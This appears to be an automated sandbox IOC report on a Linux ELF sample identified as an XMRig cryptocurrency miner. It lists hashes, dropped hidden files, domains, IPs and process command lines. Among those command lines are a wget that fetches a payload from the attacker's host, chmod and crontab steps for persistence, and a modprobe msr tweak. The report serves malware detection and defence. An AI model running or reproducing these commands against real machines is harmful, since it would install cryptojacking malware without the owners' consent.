Automated Malware Analysis IOC Report for

Files

File Path

Type

Category

Malicious

.main.elf

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

initial sample

Details

Filetype:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy:	6.0619097863622935
Filename:	.main.elf
Filesize:	940392
MD5:	4567d8c6fc031d7e6ec7e05d7bf0875b
SHA1:	136ed52d890bc49b5dc2792d8b20511b88c24f9c
SHA256:	afd21d61ab393e3ee1512b07010756c8718be56ab9fe9b0359127f1e6e306509
SHA512:	90bb019e9ea322d2d4972bf043bdc2b798b3b5c5d8d42c0641072db64dce2bbfd3d34b7ff6bbefe0d3aabbb3dd54e15e5262dca3065d87f7299f321a173d7d97
SSDEEP:	12288:qfbx0BUBiCIT+yaXkeG2eNBRvlqoQfGO26dyynbikoYAw:qfbx0xCIT+xXkeGNNB33QR8kB1
Preview:	.ELF..............>.....P.@.....@.......(S..........@.8...@.......................@.......@.....0.......0.................................@.......@......;.......;.......................P.......PK......PK...............................................M....

Signature Hits	Behavior Group	Mitre Attack
Uses the "uname" system call to query kernel version information (possible evasion)	Malware Analysis System Evasion	Security Software Discovery
URLs found in memory or binary data	Networking

/var/spool/cron/crontabs/tmp.XlZKKM

ASCII text

dropped

Details

File:	/var/spool/cron/crontabs/tmp.XlZKKM
Category:	dropped
Dump:	tmp.XlZKKM.39.dr
ID:	dr_5
Target ID:	39
Process:	/usr/bin/crontab
Type:	ASCII text
Entropy:	5.203177382240942
Encrypted:	false
Ssdeep:	6:SUrpqoqQjEOP1K+1SYOBFQ5t+MFaZHGMQ5UYLtCFt3REEmKq5FJqVu5Fd:8Qj2J8eeHLUiPKqo0R
Size:	317
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Sample tries to persist itself using cron	Persistence and Installation Behavior

/var/tmp/.rcu_gp/.ps5

ASCII text

dropped

Details

File:	/var/tmp/.rcu_gp/.ps5
Category:	dropped
Dump:	.ps5.15.dr
ID:	dr_1
Target ID:	15
Process:	/bin/bash
Type:	ASCII text
Entropy:	4.592529773709823
Encrypted:	false
Ssdeep:	3:8FIWJSqKBVbdwB2sF/XK4vSAcBVbdwB2sF/XK4vn:fmKq5FJqVu5Fd
Size:	122
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Executes the "crontab" command typically for achieving persistence	Persistence and Installation Behavior	Scheduled Task/Job
Creates hidden files and/or directories	Persistence and Installation Behavior	Hidden Files and Directories
Executes the "rm" command used to delete files or directories	Persistence and Installation Behavior	File Deletion

/var/tmp/.rcu_gp/.report_system

ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 8825120

dropped

Details

File:	/var/tmp/.rcu_gp/.report_system
Category:	dropped
Dump:	.report_system.19.dr
ID:	dr_2
Target ID:	19
Process:	/usr/bin/wget
Type:	ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers at 8825120
Entropy:	6.002657401261198
Encrypted:	false
Ssdeep:	24576:DXrus516T3S3pmcCnlrquhMz2iKJo2ar4N1Wd74Nrz5UQ+iOgH6:D6ZxcCxquhMCLJvar4nWB4F3Kga
Size:	1421637
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Yara detected Xmrig cryptocurrency miner	Bitcoin Miner
Drops invisible ELF files	Hooking and other Techniques for Hiding and Protection	Hidden Files and Directories
Writes ELF files to hidden directories	Persistence and Installation Behavior	Hidden Files and Directories
Creates hidden files and/or directories	Persistence and Installation Behavior	Hidden Files and Directories
Sample tries to set the executable flag	Persistence and Installation Behavior	File and Directory Permissions Modification
Writes ELF files to disk	Persistence and Installation Behavior

/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages

ASCII text, with no line terminators

dropped

Details

File:	/sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages
Category:	dropped
Dump:	nr_hugepages.58.dr
ID:	dr_6
Target ID:	58
Process:	/var/tmp/.rcu_gp/./.report_system
Type:	ASCII text, with no line terminators
Entropy:	1.5
Encrypted:	false
Ssdeep:	3:MRV:Mz
Size:	4
Whitelisted:	false
Reputation:	moderate

/tmp/sh-thd.Mh6q2b

Bourne-Again shell script, ASCII text executable

dropped

Details

File:	/tmp/sh-thd.Mh6q2b
Category:	dropped
Dump:	sh-thd.Mh6q2b.22.dr
ID:	dr_3
Target ID:	22
Process:	/bin/bash
Type:	Bourne-Again shell script, ASCII text executable
Entropy:	4.685906912557653
Encrypted:	false
Ssdeep:	3:TKH/O0urPR6WcHIw2QlAzpKj56WcHIw2sF/XK4FvAYa4vn:uurUbHVlAzp1bHBFPa4vn
Size:	137
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Writes shell script file to disk with an unusual file extension	Persistence and Installation Behavior

/var/tmp/.rcu_gp/.ps4

ASCII text

dropped

Details

File:	/var/tmp/.rcu_gp/.ps4
Category:	dropped
Dump:	.ps4.15.dr
ID:	dr_0
Target ID:	15
Process:	/bin/bash
Type:	ASCII text
Entropy:	3.5724694587701364
Encrypted:	false
Ssdeep:	3:ERP:ERP
Size:	17
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Creates hidden files and/or directories	Persistence and Installation Behavior	Hidden Files and Directories

/var/tmp/.rcu_gp/diicot

Bourne-Again shell script, ASCII text executable

dropped

Details

File:	/var/tmp/.rcu_gp/diicot
Category:	dropped
Dump:	diicot.23.dr
ID:	dr_4
Target ID:	23
Process:	/usr/bin/cat
Type:	Bourne-Again shell script, ASCII text executable
Entropy:	4.685906912557653
Encrypted:	false
Ssdeep:	3:TKH/O0urPR6WcHIw2QlAzpKj56WcHIw2sF/XK4FvAYa4vn:uurUbHVlAzp1bHBFPa4vn
Size:	137
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Executes the "chmod" command used to modify permissions	Persistence and Installation Behavior	File and Directory Permissions Modification
Sample tries to set the executable flag	Persistence and Installation Behavior	File and Directory Permissions Modification
Writes shell script file to disk with an unusual file extension	Persistence and Installation Behavior

Processes

Path

Cmdline

Malicious

/tmp/.main.elf

/bin/bash

/tmp/.main.elf -c "exec '/tmp/.main.elf' \"$@\"" /tmp/.main.elf

/tmp/.main.elf

/bin/bash

/tmp/.main.elf -c " " /tmp/.main.elf

/bin/bash

/usr/bin/mkdir

mkdir /var/tmp/.rcu_gp

/bin/bash

/usr/bin/wget

wget http://xkobeimparatu.net/.puscarie/.report_system -O .report_system

/bin/bash

/usr/bin/chmod

chmod +x .report_system

/bin/bash

/usr/bin/cat

cat

/bin/bash

/usr/bin/chmod

chmod +x /var/tmp/.rcu_gp/diicot

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/rm

rm -rf /var/tmp/.rcu_gp/.ps5

/bin/bash

/usr/bin/sleep

sleep 1

/bin/bash

/usr/bin/sleep

sleep 1

/bin/bash

/usr/bin/sleep

sleep 1

/bin/bash

/usr/bin/crontab

crontab /var/tmp/.rcu_gp/.ps5

/bin/bash

/usr/bin/sleep

sleep 1

/bin/bash

/usr/bin/rm

rm -rf /var/tmp/.rcu_gp/.ps5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/var/tmp/.rcu_gp/diicot

/var/tmp/.rcu_gp/./.report_system

/bin/sh

sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1"

/bin/sh

/sbin/modprobe

/sbin/modprobe msr allow_writes=on

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

/bin/bash

/usr/bin/cat

cat /var/tmp/.rcu_gp/.ps4

/bin/bash

/var/tmp/.rcu_gp/diicot

/usr/bin/pgrep

pgrep -x .report_system

/bin/bash

/usr/bin/crontab

crontab -l

/bin/bash

/usr/bin/grep

grep -q .main

/bin/bash

/usr/bin/sleep

sleep 2.5

There are 125 hidden processes, click here to show them.

URLs

Name

Malicious

https://xmrig.com/benchmark/%s

unknown

https://bugs.launchpad.net/ubuntu/

unknown

https://xmrig.com/wizard

unknown

http://xkobeimparatu.net/.puscarie/.report_system

154.213.192.3

Details

Name:	http://xkobeimparatu.net/.puscarie/.report_system
IP:	154.213.192.3
TargetID:	-1
From Memory:	false
Source:	network

Signature Hits	Behavior Group	Mitre Attack
Executes the "wget" command typically used for HTTP/S downloading	Networking, Persistence and Installation Behavior	Application Layer Protocol

https://gcc.gnu.org/bugsterminate

unknown

https://xmrig.com/wizard%s

unknown

https://xmrig.com/docs/algorithms

unknown

Domains

Name

Malicious

xkobeproxy.xkobeimparatu.net

91.184.240.129

Details

Name:	xkobeproxy.xkobeimparatu.net
IP:	91.184.240.129
TargetID:	-1
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Detected Stratum mining protocol	Bitcoin Miner
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

xkobeimparatu.net

154.213.192.3

Details

Name:	xkobeimparatu.net
IP:	154.213.192.3
TargetID:	-1
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Executes the "wget" command typically used for HTTP/S downloading	Networking, Persistence and Installation Behavior	Application Layer Protocol
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

IPs

Domain

Country

Malicious

91.184.240.129

xkobeproxy.xkobeimparatu.net

Russian Federation

Details

IP:	91.184.240.129
TargetID:	-1
Country:	Russian Federation
Countrycode:	RUS
ASN number:	41745
ASN name:	IPNET-RUSSIA-ASRU
Private:	false
Domain:	xkobeproxy.xkobeimparatu.net

Signature Hits	Behavior Group	Mitre Attack
Detected Stratum mining protocol	Bitcoin Miner

154.213.192.3

xkobeimparatu.net

Seychelles

109.202.202.202

unknown

Switzerland

Details

IP:	109.202.202.202
TargetID:	-1
Country:	Switzerland
Countrycode:	CHE
ASN number:	13030
ASN name:	INIT7CH
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

91.189.91.43

unknown

United Kingdom

Details

IP:	91.189.91.43
TargetID:	-1
Country:	United Kingdom
Countrycode:	GBR
ASN number:	41231
ASN name:	CANONICAL-ASGB
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

91.189.91.42

unknown

United Kingdom

Details

IP:	91.189.91.42
TargetID:	-1
Country:	United Kingdom
Countrycode:	GBR
ASN number:	41231
ASN name:	CANONICAL-ASGB
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Connects to IPs without corresponding DNS lookups	Networking

Memdumps

Base Address

Regiontype

Protect

Malicious

c29000

page execute read

e6b000

page read and write

7fbde6528000

page read and write

7fbde68e4000

page read and write

f07000

page read and write

7fbde6526000

page execute read

7fbde671a000

page read and write

2814000

page read and write

7fbde689f000

page read and write

7ffdf35f6000

page execute read

7ffdf35d6000

page read and write

There are 1 hidden memdumps, click here to show them.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Report
.main.elf

Files

Processes

URLs

Domains

IPs

Memdumps

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Report.main.elf

Files

Processes

URLs

Domains

IPs

Memdumps

IOC Report
.main.elf